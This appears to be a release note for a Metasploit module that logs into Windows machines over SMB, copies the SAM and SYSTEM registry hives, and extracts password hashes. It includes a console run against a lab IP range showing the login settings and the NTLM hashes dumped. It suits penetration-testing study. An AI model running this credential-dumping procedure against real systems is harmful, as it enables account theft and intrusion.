Added new module auxiliary/scanner/smb/hashgrab

This module uses the psexec mixin to log into the a windows system and download a copy of the SYSTEM and SAM registry hives then extracts the password hashes from them offline on the attacking machine and not the victim.

http://blog.accuvant.com/blog/owning-computers-without-shell-access

<pre>
msf  auxiliary(hashgrab) > show options

Module options (auxiliary/scanner/smb/hashgrab):

   Name       Current Setting       Required  Description
   ----       ---------------       --------  -----------
   LOGDIR     /tmp/msfhashes/local  yes       This is a directory on your local attacking system used to store Hive files and hashes
   RHOSTS     172.16.141.130-145    yes       The target address range or CIDR identifier
   RPORT      445                   yes       The Target port
   SMBDomain  WORKGROUP             no        The Windows domain to use for authentication
   SMBPass    @ccuv@ntL@bs!         no        The password for the specified username
   SMBSHARE   C$                    yes       The name of a writeable share on the server
   SMBUser    Administrator         no        The username to authenticate as
   SYSDRIVE   C:                    yes       The root drive letter on the remote host
   THREADS    20                    yes       The number of concurrent threads
   WINPATH    WINDOWS               yes       The name of the WINDOWS directory on the remote host

msf  auxiliary(hashgrab) > run

[*] 172.16.141.133:445 - Extracting hashes.
[+] Administrator:500:2d2bfb6dfae3a565658562bb86e1e017:f2a5ccba72161a5ffe1a7454d8b1c212:::
[+] Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:e9b889168f6d37d3372b5bb3aa3cf732:::
[*] 172.16.141.142:445 - Extracting hashes.
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:f2a5ccba72161a5ffe1a7454d8b1c212:::
[+] Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] FS:1006:aad3b435b51404eeaad3b435b51404ee:d7ac91c10d4d586a125890218a219e85:::
[+] blah:1015:aad3b435b51404eeaad3b435b51404ee:b82dc32e118cdd518443e83f359f0e69:::
[*] Scanned 09 of 16 hosts (056% complete)
[*] Scanned 11 of 16 hosts (068% complete)
[*] Scanned 16 of 16 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(hashgrab) > 
</pre>